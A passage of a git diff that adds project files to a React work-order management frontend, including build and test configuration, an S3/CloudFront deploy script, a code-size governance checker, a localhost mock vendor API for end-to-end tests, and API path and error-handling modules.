"sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-validation-error": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", + "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 00000000..3df2f4da --- /dev/null +++ b/package.json @@ -0,0 +1,105 @@ +{ + "name": "seahaven-new-app", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview", + "test": "vitest run", + "test:watch": "vitest", + "test:e2e": "playwright test", + "test:e2e:ui": "playwright test --ui", + "lint": "eslint . --max-warnings=0", + "lint:fix": "eslint . --fix --max-warnings=0", + "format": "prettier --write .", + "format:check": "prettier --check .", + "governance": "node scripts/governance-check.mjs", + "verify": "npm run format:check && npm run lint && npm run build && npm test && npm run governance", + "prepare": "husky" + }, + "lint-staged": { + "src/{api,domain,app,lib,providers,infra,config,hooks,components}/**/*.{ts,tsx}": [ + "eslint --fix --max-warnings=0", + "prettier --write" + ], + "*.{ts,tsx}": [ + "prettier --write" + ], + "src/test/**/*.{test,integration.test}.{ts,tsx}": [ + "prettier --write" + ], + "*.{json,css,md,mdc}": [ + "prettier --write" + ], + "eslint.config.js": [ + "prettier --write" + ], + "commitlint.config.js": [ + "prettier --write" + ] + }, + "dependencies": { + "@emotion/react": "^11.14.0", + "@emotion/styled": "^11.14.1", + "@fontsource/dm-sans": "^5.2.8", + "@fontsource/jetbrains-mono": "^5.2.8", + "@fontsource/montserrat": "^5.2.8", + "@fullcalendar/daygrid": "^6.1.21", + "@fullcalendar/interaction": "^6.1.21", + "@fullcalendar/react": "^6.1.21", + "@fullcalendar/timegrid": "^6.1.21", + "@generouted/react-router": "^1.20.2", + "@hookform/resolvers": "^5.4.0", + "@mui/icons-material": "^9.2.0", + "@mui/material": "^9.2.0", + "@tanstack/react-query": "^5.101.2", + "@tanstack/react-query-devtools": "^5.101.2", + "@testing-library/dom": "^10.4.1", + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", + "clsx": "^2.1.1", + "ky": "^2.0.2", + "lucide-react": "^1.24.0", + "react": "^19.2.7", + "react-dom": "^19.2.7", + "react-hook-form": "^7.81.0", + "react-icons": "^5.7.0", + "react-router": "^8.2.0", + "react-toastify": "^11.1.0", + "tailwind-merge": "^3.6.0", + "zod": "^4.4.3" + }, + "devDependencies": { + "@commitlint/cli": "^21.2.1", + "@commitlint/config-conventional": "^21.2.0", + "@eslint/js": "^10.0.1", + "@playwright/test": "^1.61.1", + "@tailwindcss/vite": "^4.3.2", + "@types/node": "^24.13.3", + "@types/react": "^19.2.17", + "@types/react-dom": "^19.2.3", + "@vitejs/plugin-react": "^6.0.3", + "@vitest/coverage-v8": "^4.1.10", + "eslint": "^10.7.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-react-hooks": "^7.1.1", + "eslint-plugin-react-refresh": "^0.5.3", + "globals": "^17.7.0", + "husky": "^9.1.7", + "jsdom": "^29.1.1", + "lint-staged": "^17.0.8", + "prettier": "^3.9.5", + "tailwindcss": "^4.3.2", + "typescript": "~6.0.3", + "typescript-eslint": "^8.63.0", + "vite": "^8.1.4", + "vitest": "^4.1.10" + }, + "engines": { + "node": ">=22.22.1" + }, + "packageManager": "npm@11.16.0" +} diff --git a/playwright.config.ts b/playwright.config.ts new file mode 100644 index 00000000..7360b05c --- /dev/null +++ b/playwright.config.ts @@ -0,0 +1,31 @@ +import { defineConfig, devices } from "@playwright/test"; + +export default defineConfig({ + testDir: "./e2e", + fullyParallel: true, + forbidOnly: Boolean(process.env.CI), + retries: process.env.CI ? 2 : 0, + workers: process.env.CI ? 1 : undefined, + reporter: process.env.CI ? "github" : "list", + use: { + // Port 4173 isolates Playwright from the app's normal port 3000 server. + baseURL: "http://localhost:4173", + // Pin the browser timezone to UTC so date-to-ISO assertions in the default + // create flow are deterministic regardless of host locale. DST-transition + // scenarios override this with their own non-UTC context. + timezoneId: "UTC", + trace: "on-first-retry", + }, + projects: [ + { + name: "chromium", + use: { ...devices["Desktop Chrome"] }, + }, + ], + webServer: { + command: "npm run dev -- --port 4173 --strictPort", + url: "http://localhost:4173", + reuseExistingServer: !process.env.CI, + timeout: 120_000, + }, +}); diff --git a/public/BrandingImage.png b/public/BrandingImage.png new file mode 100644 index 00000000..16cda47b Binary files /dev/null and b/public/BrandingImage.png differ diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 00000000..95e736b5 Binary files /dev/null and b/public/favicon.ico differ diff --git a/public/logo.png b/public/logo.png new file mode 100644 index 00000000..6aa57f7b Binary files /dev/null and b/public/logo.png differ diff --git a/public/logo192.png b/public/logo192.png new file mode 100644 index 00000000..20a794a1 Binary files /dev/null and b/public/logo192.png differ diff --git a/public/logo512.png b/public/logo512.png new file mode 100644 index 00000000..b9dfa3d7 Binary files /dev/null and b/public/logo512.png differ diff --git a/public/manifest.json b/public/manifest.json new file mode 100644 index 00000000..f058e498 --- /dev/null +++ b/public/manifest.json @@ -0,0 +1,25 @@ +{ + "short_name": "Work Orders", + "name": "Sea Haven - Work Orders", + "icons": [ + { + "src": "favicon.ico", + "sizes": "64x64 32x32 16x16", + "type": "image/x-icon" + }, + { + "src": "logo192.png", + "type": "image/png", + "sizes": "192x192" + }, + { + "src": "logo512.png", + "type": "image/png", + "sizes": "512x512" + } + ], + "start_url": ".", + "display": "standalone", + "theme_color": "#1c75bc", + "background_color": "#ffffff" +} diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 00000000..e9e57dc4 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1,3 @@ +# https://www.robotstxt.org/robotstxt.html +User-agent: * +Disallow: diff --git a/public/seahaven-logo.svg b/public/seahaven-logo.svg new file mode 100644 index 00000000..1bcd9280 --- /dev/null +++ b/public/seahaven-logo.svg @@ -0,0 +1,108 @@ + + + +Seahaven Industries + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scripts/deploy-web.sh b/scripts/deploy-web.sh new file mode 100755 index 00000000..12c1b021 --- /dev/null +++ b/scripts/deploy-web.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# +# Post-deploy step for the org reusable workflow `cd-cdk.yaml` +# (wired in via `.github/workflows/deploy.yml` -> `post-deploy-script`). +# +# Runs AFTER `cdk deploy` has provisioned/updated the infra, as the GitHub +# OIDC deploy role. Builds the SPA, uploads it to the stack's S3 bucket with +# the right cache headers, and invalidates CloudFront. +# +# Runs from the repo root. Reads the bucket + distribution from stack outputs, +# so it has no hardcoded resource IDs. +set -euo pipefail + +STACK_NAME="${STACK_NAME:-shoc-frontend-dev}" +REGION="${AWS_REGION:-us-east-1}" + +echo "Building SPA (VITE_API_URL comes from .env.production)..." +npm ci +npm run build + +echo "Reading stack outputs from ${STACK_NAME}..." +stack_output() { + aws cloudformation describe-stacks \ + --stack-name "${STACK_NAME}" \ + --region "${REGION}" \ + --query "Stacks[0].Outputs[?OutputKey=='$1'].OutputValue" \ + --output text +} + +BUCKET="$(stack_output BucketName)" +DIST_ID="$(stack_output DistributionId)" + +if [[ -z "${BUCKET}" || "${BUCKET}" == "None" || -z "${DIST_ID}" || "${DIST_ID}" == "None" ]]; then + echo "::error::Could not resolve BucketName/DistributionId from stack ${STACK_NAME}." >&2 + exit 1 +fi + +echo "Uploading hashed assets (immutable) to s3://${BUCKET}..." +# Everything except index.html: long-lived + immutable, prune stale objects. +aws s3 sync dist/ "s3://${BUCKET}/" \ + --delete \ + --exclude "index.html" \ + --cache-control "public,max-age=31536000,immutable" + +echo "Uploading index.html (never cached)..." +aws s3 cp dist/index.html "s3://${BUCKET}/index.html" \ + --cache-control "no-cache,no-store,must-revalidate" \ + --content-type "text/html" + +echo "Invalidating CloudFront ${DIST_ID}..." +aws cloudfront create-invalidation \ + --distribution-id "${DIST_ID}" \ + --paths "/*" + +echo "Web deploy complete." diff --git a/scripts/governance-baseline.json b/scripts/governance-baseline.json new file mode 100644 index 00000000..401e1e70 --- /dev/null +++ b/scripts/governance-baseline.json @@ -0,0 +1,17 @@ +{ + "version": 1, + "purpose": "Frozen grandfathered debt inventory for the frontend governance checks. New entries and cap increases fail the governance comparison. Existing caps may only decrease and entries must be removed when compliant.", + "maxFileLines": 500, + "godfileDebt": [ + { + "path": "src/app/(protected)/workorders/[id].tsx", + "maxLines": 797, + "reason": "Work-order detail route page; legacy godfile targeted for decomposition into focused state components." + }, + { + "path": "src/app/(protected)/vendors/index.tsx", + "maxLines": 612, + "reason": "Vendors list route; legacy page with mixed query/filter/table state pending extraction." + } + ] +} diff --git a/scripts/governance-check.mjs b/scripts/governance-check.mjs new file mode 100644 index 00000000..8cabc70f --- /dev/null +++ b/scripts/governance-check.mjs @@ -0,0 +1,293 @@ +import { execFileSync, spawnSync } from "node:child_process"; +import { existsSync, readFileSync } from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +const SCRIPT_DIR = path.dirname(fileURLToPath(import.meta.url)); +const ROOT = path.resolve(SCRIPT_DIR, ".."); +const BASELINE_PATH = path.join(SCRIPT_DIR, "governance-baseline.json"); + +const MAX_FILE_LINES = 500; +const MAINTAINABILITY_RULES = [ + 'complexity: ["error", { "max": 20 }]', + 'max-lines-per-function: ["error", { "skipComments": true, "max": 150 }]', + 'max-params: ["error", 4]', + 'max-depth: ["error", 4]', +]; +const GOVERNED_ROOTS = ["src/", "config/"]; +const EXCLUDE_DIR = /(^|\/)(mocks|test|__mocks__|node_modules|dist|coverage|e2e)\//; +const EXCLUDE_NAME = /\.(mock|test|spec)\.(ts|tsx)$|\.d\.ts$/; + +function isGoverned(relativePath) { + return ( + GOVERNED_ROOTS.some((root) => relativePath.startsWith(root)) && + /\.(ts|tsx)$/.test(relativePath) && + !EXCLUDE_DIR.test(relativePath) && + !EXCLUDE_NAME.test(relativePath) + ); +} + +function gitText(args) { + return execFileSync("git", args, { cwd: ROOT, encoding: "utf8" }).trim(); +} + +function gitLines(args) { + return gitText(args).split("\n").filter(Boolean); +} + +function governedFiles() { + const tracked = gitLines(["ls-files"]); + const untracked = gitLines(["ls-files", "--others", "--exclude-standard"]); + return [...new Set([...tracked, ...untracked])].filter( + (relativePath) => isGoverned(relativePath) && existsSync(path.join(ROOT, relativePath)), + ); +} + +function lineCount(relativePath) { + const content = readFileSync(path.join(ROOT, relativePath), "utf8"); + if (content.length === 0) return 0; + return content.endsWith("\n") ? content.split("\n").length - 1 : content.split("\n").length; +} + +function readBaseline() { + return JSON.parse(readFileSync(BASELINE_PATH, "utf8")); +} + +function readBaselineAtRef(ref) { + try { + const content = execFileSync("git", ["show", `${ref}:scripts/governance-baseline.json`], { + cwd: ROOT, + encoding: "utf8", + stdio: ["ignore", "pipe", "ignore"], + }); + return JSON.parse(content); + } catch { + return null; + } +} + +function godfileRatchet(baseRef) { + const baseline = readBaseline(); + const cap = baseline.maxFileLines ?? MAX_FILE_LINES; + const debtEntries = new Map( + (baseline.godfileDebt ?? []).map((entry) => [entry.path, entry.maxLines]), + ); + const files = governedFiles(); + + const newDebt = []; + const grownDebt = []; + for (const file of files) { + const lines = lineCount(file); + const debtCap = debtEntries.get(file); + if (lines > cap && debtCap === undefined) { + newDebt.push({ path: file, lines }); + } else if (debtCap !== undefined && lines > debtCap) { + grownDebt.push({ path: file, lines, maxLines: debtCap }); + } + } + + const stale = []; + const remaining = []; + for (const [debtPath, maxLines] of debtEntries) { + const lines = files.includes(debtPath) ? lineCount(debtPath) : -1; + if (lines === -1 || lines <= cap) { + stale.push({ path: debtPath, lines }); + } else { + remaining.push({ path: debtPath, lines, maxLines }); + } + } + + const baselineLoosening = []; + const baseBaseline = baseRef ? readBaselineAtRef(baseRef) : null; + if (baseBaseline) { + const baseCap = baseBaseline.maxFileLines ?? MAX_FILE_LINES; + if (cap > baseCap) { + baselineLoosening.push(`global cap increased from ${baseCap} to ${cap}`); + } + const baseEntries = new Map( + (baseBaseline.godfileDebt ?? []).map((entry) => [entry.path, entry.maxLines]), + ); + for (const [debtPath, maxLines] of debtEntries) { + const priorMax = baseEntries.get(debtPath); + if (priorMax === undefined) { + baselineLoosening.push(`new debt entry: ${debtPath}`); + } else if (maxLines > priorMax) { + baselineLoosening.push(`cap increased for ${debtPath}: ${priorMax} -> ${maxLines}`); + } + } + } + + return { + cap, + newDebt, + grownDebt, + stale, + remaining, + baselineLoosening, + comparedBaseline: Boolean(baseBaseline), + }; +} + +function resolveBaseRef() { + if (process.env.GOVERNANCE_BASE) return process.env.GOVERNANCE_BASE; + if (process.env.GITHUB_BASE_REF) return `origin/${process.env.GITHUB_BASE_REF}`; + for (const candidate of ["origin/dev", "origin/main"]) { + try { + execFileSync("git", ["rev-parse", "--verify", candidate], { + cwd: ROOT, + encoding: "utf8", + stdio: "ignore", + }); + return candidate; + } catch { + // candidate ref not present locally; try the next + } + } + return null; +} + +function changedGovernedFiles(baseRef) { + let mergeBase; + try { + mergeBase = execFileSync("git", ["merge-base", baseRef, "HEAD"], { + cwd: ROOT, + encoding: "utf8", + stdio: ["ignore", "pipe", "ignore"], + }).trim(); + } catch { + return null; + } + const diffed = gitLines(["diff", "--name-only", "--diff-filter=AMR", mergeBase, "HEAD"]); + const untracked = gitLines(["ls-files", "--others", "--exclude-standard"]); + return [...new Set([...diffed, ...untracked])].filter(isGoverned); +} + +function maintainabilityGate(files) { + if (files.length === 0) { + return { skipped: true, reason: "no changed governed TS/TSX files" }; + } + // Invoke eslint via node so Windows (no shebang exec) and Unix both work. + const eslintJs = path.join(ROOT, "node_modules", "eslint", "bin", "eslint.js"); + const ruleArgs = MAINTAINABILITY_RULES.flatMap((rule) => ["--rule", rule]); + const result = spawnSync( + process.execPath, + [ + eslintJs, + ...files, + ...ruleArgs, + "--max-warnings=0", + "--no-warn-ignored", + "--no-error-on-unmatched-pattern", + ], + { cwd: ROOT, encoding: "utf8" }, + ); + return { + skipped: false, + status: result.status, + stdout: result.stdout?.trim() ?? "", + stderr: result.stderr?.trim() ?? "", + files, + }; +} + +function plural(count, word) { + return `${count} ${word}${count === 1 ? "" : "s"}`; +} + +function main() { + const failures = []; + const baseRef = resolveBaseRef(); + if (!baseRef) { + failures.push( + "base ref is required but was not found. Set GOVERNANCE_BASE to a valid commit or fetch origin/dev.", + ); + } else { + try { + gitText(["merge-base", baseRef, "HEAD"]); + } catch { + failures.push( + `base ref '${baseRef}' cannot be resolved against HEAD. Fetch it or set GOVERNANCE_BASE correctly.`, + ); + } + } + + console.log("─".repeat(64)); + console.log("godfile ratchet: legacy caps may only shrink"); + const god = godfileRatchet(baseRef); + console.log( + ` cap: ${god.cap} lines | grandfathered debt: ${plural(god.remaining.length, "file")} | new violations: ${god.newDebt.length}`, + ); + for (const entry of god.remaining) { + console.log(` debt ${String(entry.lines).padStart(4)}/${entry.maxLines} ${entry.path}`); + } + for (const entry of god.newDebt) { + console.log(` NEW ${String(entry.lines).padStart(4)} ${entry.path}`); + } + for (const entry of god.grownDebt) { + console.log(` GREW ${String(entry.lines).padStart(4)}/${entry.maxLines} ${entry.path}`); + } + if (god.newDebt.length > 0) { + failures.push( + `godfile ratchet: ${plural(god.newDebt.length, "file")} exceed ${god.cap} lines. Refactor them under the cap; new baseline debt is forbidden.`, + ); + } + if (god.grownDebt.length > 0) { + failures.push( + `godfile ratchet: ${plural(god.grownDebt.length, "grandfathered file")} exceeded its frozen line cap.`, + ); + } + if (god.baselineLoosening.length > 0) { + failures.push( + `governance baseline was loosened: ${god.baselineLoosening.join("; ")}. Only cap reductions and entry removals are allowed.`, + ); + } + if (!god.comparedBaseline) { + console.log(" baseline comparison unavailable (initial adoption or missing base file)"); + } + if (god.stale.length > 0) { + console.log(` stale baseline entries (now compliant — remove to ratchet tighter):`); + for (const entry of god.stale) { + console.log(` stale ${entry.path}`); + } + } + + console.log("─".repeat(64)); + if (!baseRef) { + console.log("changed-file maintainability gate: FAIL (no valid base ref)"); + } else { + const files = changedGovernedFiles(baseRef); + console.log( + `changed-file maintainability gate (base: ${baseRef}): ${files === null ? "unresolvable" : plural(files.length, "changed governed file")}`, + ); + if (files === null) { + console.log(" failed — base ref could not be resolved against HEAD"); + } else { + const gate = maintainabilityGate(files); + if (gate.skipped) { + console.log(` skipped — ${gate.reason}`); + } else { + const clean = gate.status === 0; + console.log( + ` result: ${clean ? "PASS" : "FAIL"} (complexity<=20, function<=150 lines, params<=4, depth<=4)`, + ); + if (!clean) { + if (gate.stdout) console.log(gate.stdout); + if (gate.stderr) console.log(gate.stderr); + failures.push( + "changed-file maintainability gate: see ESLint output above. Extract functions/components to meet the thresholds; do not relax the thresholds.", + ); + } + } + } + } + + console.log("─".repeat(64)); + if (failures.length > 0) { + console.log(`RESULT: FAIL (${plural(failures.length, "gate")})`); + for (const failure of failures) console.log(` - ${failure}`); + process.exit(1); + } + console.log("RESULT: PASS — all governance gates green"); +} + +main(); diff --git a/scripts/vendor-e2e-mock-server.mjs b/scripts/vendor-e2e-mock-server.mjs new file mode 100644 index 00000000..3c53457e --- /dev/null +++ b/scripts/vendor-e2e-mock-server.mjs @@ -0,0 +1,224 @@ +import http from "node:http"; + +const port = Number(process.env.VENDOR_MOCK_PORT ?? 5142); +let nextCompanyId = 103; +let nextTechnicianId = 3; +const companies = [ + { + companyId: 101, + rowVersion: "rv-101-1", + name: "Gateway Plumbing", + companyPhone: "(314) 555-0100", + email: "dispatch@gateway.test", + address: "1 Market St", + city: "St. Louis", + state: "MO", + zip: "63101", + googleMapsUrl: "https://maps.google.com/gateway", + notes: "Preferred after-hours vendor", + technicians: [ + { + id: 1, + contactName: "Adam Whyte", + phone: "(314) 555-0198", + email: "adam@gateway.test", + preferredContact: "Email", + tradeSpecialties: "Plumbing", + isActive: true, + totalJobs: 72, + }, + ], + }, + { + companyId: 102, + rowVersion: "rv-102-1", + name: "Metro HVAC", + companyPhone: "(314) 555-0110", + email: "dispatch@metro.test", + address: "2 Pine St", + city: "Clayton", + state: "MO", + zip: "63105", + googleMapsUrl: "", + notes: "", + technicians: [], + }, +]; + +function json(response, body, status = 200) { + response.writeHead(status, { + "content-type": "application/json", + "access-control-allow-origin": "*", + }); + response.end(JSON.stringify(body)); +} + +async function readBody(request) { + const chunks = []; + for await (const chunk of request) chunks.push(chunk); + return chunks.length ? JSON.parse(Buffer.concat(chunks).toString("utf8")) : {}; +} + +function findCompany(url) { + const vendorId = url.searchParams.get("vendorId"); + const companyId = url.searchParams.get("companyId"); + if (vendorId) { + return companies.find((company) => + company.technicians.some((technician) => String(technician.id) === vendorId), + ); + } + return companies.find((company) => String(company.companyId) === companyId); +} + +function companyFacet(company) { + return { + companyId: company.companyId, + name: company.name, + companyPhone: company.companyPhone, + email: company.email, + address: company.address, + city: company.city, + state: company.state, + zip: company.zip, + googleMapsUrl: company.googleMapsUrl, + }; +} + +function directoryRows() { + return companies.flatMap((company) => + company.technicians.length + ? company.technicians.map((technician) => ({ + Id: technician.id, + CompanyId: company.companyId, + CompanyName: company.name, + ContactName: technician.contactName, + Email: technician.email, + Phone: technician.phone, + CompanyPhone: company.companyPhone, + City: company.city, + State: company.state, + TradeSpecialties: technician.tradeSpecialties, + GoogleMapsUrl: company.googleMapsUrl, + Notes: company.notes, + TotalJobs: technician.totalJobs, + IsActive: technician.isActive, + PreferredContact: technician.preferredContact, + })) + : [ + { + Id: null, + CompanyId: company.companyId, + CompanyName: company.name, + ContactName: "", + Email: company.email, + Phone: "", + CompanyPhone: company.companyPhone, + City: company.city, + State: company.state, + TradeSpecialties: "", + GoogleMapsUrl: company.googleMapsUrl, + Notes: company.notes, + TotalJobs: 0, + IsActive: true, + PreferredContact: "Phone", + }, + ], + ); +} + +const server = http.createServer(async (request, response) => { + const url = new URL(request.url ?? "/", `http://${request.headers.host}`); + if (request.method === "OPTIONS") return json(response, {}); + + if (url.pathname === "/api/Vendor/GetVendorList") { + const search = (url.searchParams.get("search") ?? "").toLowerCase(); + const active = url.searchParams.get("isActive") !== "false"; + const rows = directoryRows().filter( + (row) => + row.IsActive === active && + (!search || + `${row.CompanyName} ${row.ContactName} ${row.TradeSpecialties} ${row.City} ${row.State}` + .toLowerCase() + .includes(search)), + ); + return json(response, { Data: rows, TotalCount: rows.length, PageNumber: 1, PageSize: 12 }); + } + + if (url.pathname === "/api/Vendor/facets") { + return json(response, { + data: { + companies: companies.map(companyFacet), + trades: ["Plumbing", "HVAC"], + locations: companies.map((company) => ({ + city: company.city, + state: company.state, + label: `${company.city}, ${company.state}`, + })), + jobBuckets: [], + }, + }); + } + + if (url.pathname === "/api/vendor-company-roster" && request.method === "GET") { + const company = findCompany(url); + return company ? json(response, company) : json(response, { message: "Not found" }, 404); + } + + if (url.pathname === "/api/vendor-company-roster" && request.method === "POST") { + const body = await readBody(request); + const company = { + ...body, + companyId: nextCompanyId++, + rowVersion: `rv-${Date.now()}`, + technicians: (body.technicians ?? []).map((technician) => ({ + ...technician, + id: nextTechnicianId++, + totalJobs: 0, + })), + }; + companies.push(company); + return json(response, company); + } + + const rosterMatch = url.pathname.match(/^\/api\/vendor-company-roster\/(\d+)$/); + if (rosterMatch && request.method === "PUT") { + const company = companies.find((item) => item.companyId === Number(rosterMatch[1])); + if (!company) return json(response, { message: "Not found" }, 404); + const body = await readBody(request); + Object.assign(company, body, { + companyId: company.companyId, + rowVersion: `rv-${Date.now()}`, + technicians: (body.technicians ?? []).map((technician) => ({ + ...technician, + id: technician.id ?? nextTechnicianId++, + totalJobs: + company.technicians.find((existing) => existing.id === technician.id)?.totalJobs ?? 0, + })), + }); + return json(response, company); + } + + const portalMatch = url.pathname.match(/^\/api\/vendors\/(\d+)\/portal-token$/); + if (portalMatch) { + return json(response, { + data: { + portalUrl: "https://vendor.example.test/token", + issuedAt: new Date().toISOString(), + expiresAt: new Date(Date.now() + 86_400_000).toISOString(), + }, + }); + } + + const impactMatch = url.pathname.match(/^\/api\/vendors\/(\d+)\/deactivation-impact$/); + if (impactMatch) { + return json(response, { + data: { vendorId: Number(impactMatch[1]), canDeactivate: true, openWorkOrders: [] }, + }); + } + + return json(response, { message: `No mock for ${request.method} ${url.pathname}` }, 404); +}); + +server.listen(port, "127.0.0.1", () => { + process.stdout.write(`Vendor E2E mock listening on http://127.0.0.1:${port}\n`); +}); diff --git a/src/api/api-error.ts b/src/api/api-error.ts new file mode 100644 index 00000000..d9dabc83 --- /dev/null +++ b/src/api/api-error.ts @@ -0,0 +1,55 @@ +import { isHTTPError, isNetworkError, isTimeoutError } from "ky"; + +export class ApiError extends Error { + readonly status: number; + + constructor(message: string, status: number) { + super(message); + this.name = "ApiError"; + this.status = status; + } +} + +export function mapHttpStatusToMessage(status: number, data?: unknown): string { + if (status === 401) { + return "You are not authorized to access this page."; + } + if (status === 403) { + return "You do not have permission to perform this action."; + } + if (status === 404) { + return "The requested resource was not found."; + } + if (status === 500) { + return "A server error occurred. Please try again later."; + } + + if (data && typeof data === "object") { + const record = data as Record; + const message = record.message ?? record.Message ?? record.error; + if (typeof message === "string" && message.length > 0) { + return message; + } + } + + return "An error occurred"; +} + +export function normalizeApiRequestError(error: Error): Error { + if (isHTTPError(error)) { + error.message = mapHttpStatusToMessage(error.response.status, error.data); + return error; + } + + if (isNetworkError(error)) { + error.message = "No response from server. Please check your connection."; + return error; + } + + if (isTimeoutError(error)) { + error.message = "The request timed out. Please try again."; + return error; + } + + return error; +} diff --git a/src/api/api-paths.ts b/src/api/api-paths.ts new file mode 100644 index 00000000..f43d1e07 --- /dev/null +++ b/src/api/api-paths.ts @@ -0,0 +1,174 @@ +export const API_PATHS = { + authentication: { + login: "Authentication/Login", + changePassword: "Authentication/ChangePassword", + forgetPassword: "Authentication/ForgetPassword", + verificationCode: "Authentication/VerificationCode", + resetPassword: "Authentication/ResetPassword", + }, + workOrder: { + getList: "WorkOrder/GetWorkOrderList", + getById: "WorkOrder/GetWorkorderById", + create: "WorkOrder/Create", + update: "WorkOrder/Update", + delete: "WorkOrder/DeleteWorkOrder", + addWorkorder: "WorkOrder/AddWorkorder", + editWorkorder: "WorkOrder/EditWorkorder", + deleteWorkorder: "WorkOrder/DeleteWorkorder", + addCommentJson: "WorkOrder/AddCommentJson", + changeAssignment: "WorkOrder/ChangeAssignment", + updateChecklistItem: "WorkOrder/UpdateChecklistItem", + addChecklistItem: "WorkOrder/AddChecklistItem", + verifyDispatch: "WorkOrder/VerifyDispatch", + addDispatchSignoff: "WorkOrder/AddDispatchSignoff", + getDispatch: "WorkOrder/GetDispatch", + updateDispatch: "WorkOrder/UpdateDispatch", + addDispatchComment: "WorkOrder/AddDispatchComment", + dispatchToVendor: "WorkOrder/DispatchToVendor", + changeStatus: "WorkOrder/ChangeStatus", + board: "workorders/board", + boardCreate: "workorders/board", + boardSearch: "workorders/board/search", + boardPatch: (id: string | number) => `workorders/${id}/board`, + boardDetail: (id: string | number) => `workorders/${id}/detail`, + comments: (id: string | number) => `workorders/${id}/comments`, + commentItem: (workOrderId: string | number, commentId: string | number) => + `workorders/${workOrderId}/comments/${commentId}`, + media: (id: string | number) => `workorders/${id}/media`, + mediaItem: (id: string | number, mediaId: string | number) => + `workorders/${id}/media/${mediaId}`, + completionDoc: (id: string | number) => `workorders/${id}/completion-doc`, + lookupsDispatchers: "workorders/lookups/dispatchers", + }, + pmSchedule: { + getList: "PMSchedule/GetList", + getById: "PMSchedule/GetById", + save: "PMSchedule/Save", + delete: "PMSchedule/Delete", + }, + followUp: { + getList: "FollowUp/GetFollowUpList", + getById: "FollowUp/GetById", + create: "FollowUp/Create", + update: "FollowUp/Update", + delete: "FollowUp/Delete", + complete: "FollowUp/Complete", + cancel: "FollowUp/Cancel", + save: "FollowUp/Save", + }, + employee: { + getList: "Employee/GetEmployeeList", + getById: "Employee/GetById", + create: "Employee/Create", + update: "Employee/Update", + delete: "Employee/Delete", + createEmployee: "Employee/CreateEmployee", + updateEmployee: "Employee/UpdateEmployee", + deleteEmployee: "Employee/DeleteEmployee", + addEmployees: "Employee/AddEmployees", + editEmployees: "Employee/EditEmployees", + deleteEmployees: "Employee/DeleteEmployees", + dropdown: "Employee/Dropdown", + }, + contact: { + getList: "Contact/GetContactList", + getContacts: "Contact/GetContacts", + create: "Contact/Create", + update: "Contact/Update", + delete: "Contact/Delete", + addContacts: "Contact/AddContacts", + editContacts: "Contact/EditContacts", + deleteContacts: "Contact/DeleteContacts", + dropdown: "Contact/Dropdown", + getLocations: "Contact/GetLocations", + }, + location: { + getList: "Location/GetLocationList", + getById: "Location/GetById", + create: "Location/Create", + update: "Location/Update", + delete: "Location/Delete", + deleteLocation: "Location/DeleteLocation", + dropdown: "Location/Dropdown", + sites: "locations/sites", + }, + account: { + getList: "Account/GetAccountList", + create: "Account/Create", + update: "Account/Update", + delete: "Account/Delete", + addAccount: "Account/AddAccount", + editAccount: "Account/EditAccount", + deleteAccount: "Account/DeleteAccount", + addAccounts: "Account/AddAccounts", + editAccounts: "Account/EditAccounts", + deleteAccounts: "Account/DeleteAccounts", + dropdown: "Account/Dropdown", + }, + asset: { + getList: "Asset/GetAssetList", + getById: "Asset/GetById", + getAssetById: "Asset/GetAssetById", + create: "Asset/Create", + update: "Asset/Update", + delete: "Asset/Delete", + deleteAsset: "Asset/DeleteAsset", + addAsset: "Asset/AddAsset", + editAsset: "Asset/EditAsset", + }, + vendor: { + getList: "Vendor/GetVendorList", + getById: "Vendor/GetById", + create: "Vendor/Create", + update: "Vendor/Update", + delete: "Vendor/Delete", + dropdown: "vendors/Dropdown", + facets: "Vendor/facets", + deactivationImpact: "deactivation-impact", + }, + vendorCompanyRoster: { + base: "vendor-company-roster", + byCompany: (companyId: string | number) => `vendor-company-roster/${companyId}`, + }, + calendar: { + getEventsForCalendar: "Calendar/GetEventsForCalendar", + getEventList: "Calendar/GetEventList", + getEventById: "Calendar/GetEventById", + addEvent: "Calendar/AddEvent", + editEvent: "Calendar/EditEvent", + deleteEvent: "Calendar/DeleteEvent", + }, + dashboard: { + stats: "Dashboard/Stats", + }, + dropdownOptions: { + byCategory: "DropdownOptions/ByCategory", + create: "DropdownOptions/Create", + update: "DropdownOptions/Update", + delete: "DropdownOptions", + }, + user: { + list: "User", + }, + taskListTemplate: { + list: "TaskListTemplate", + }, + vendorPortal: { + base: "vendor-portal", + session: "/session", + dispatches: "/dispatches", + }, + rest: { + employees: "employees", + contacts: "contacts", + accounts: "accounts", + locations: "locations", + workOrders: "workorders", + pmSchedules: "pmschedules", + followups: "followups", + vendors: "vendors", + taskListTemplates: "tasklisttemplates", + uplifts: "uplifts", + dispatches: "dispatches", + }, +} as const; diff --git a/src/api/api.ts b/src/api/api.ts new file mode 100644 index 00000000..19c29d81 --- /dev/null +++ b/src/api/api.ts @@ -0,0 +1,118 @@ +import ky, { type KyInstance, type Options } from "ky"; +import { env } from "@/lib/env"; +import { resolveApiPrefixUrl } from "@/lib/resolve-api-prefix-url"; +import { API_PATHS } from "@/api/api-paths"; +import { mapHttpStatusToMessage, normalizeApiRequestError } from "@/api/api-error"; +import { queryKeys } from "@/infra/query-key/query-key"; +import queryClient from "@/lib/query/query-client"; +import { 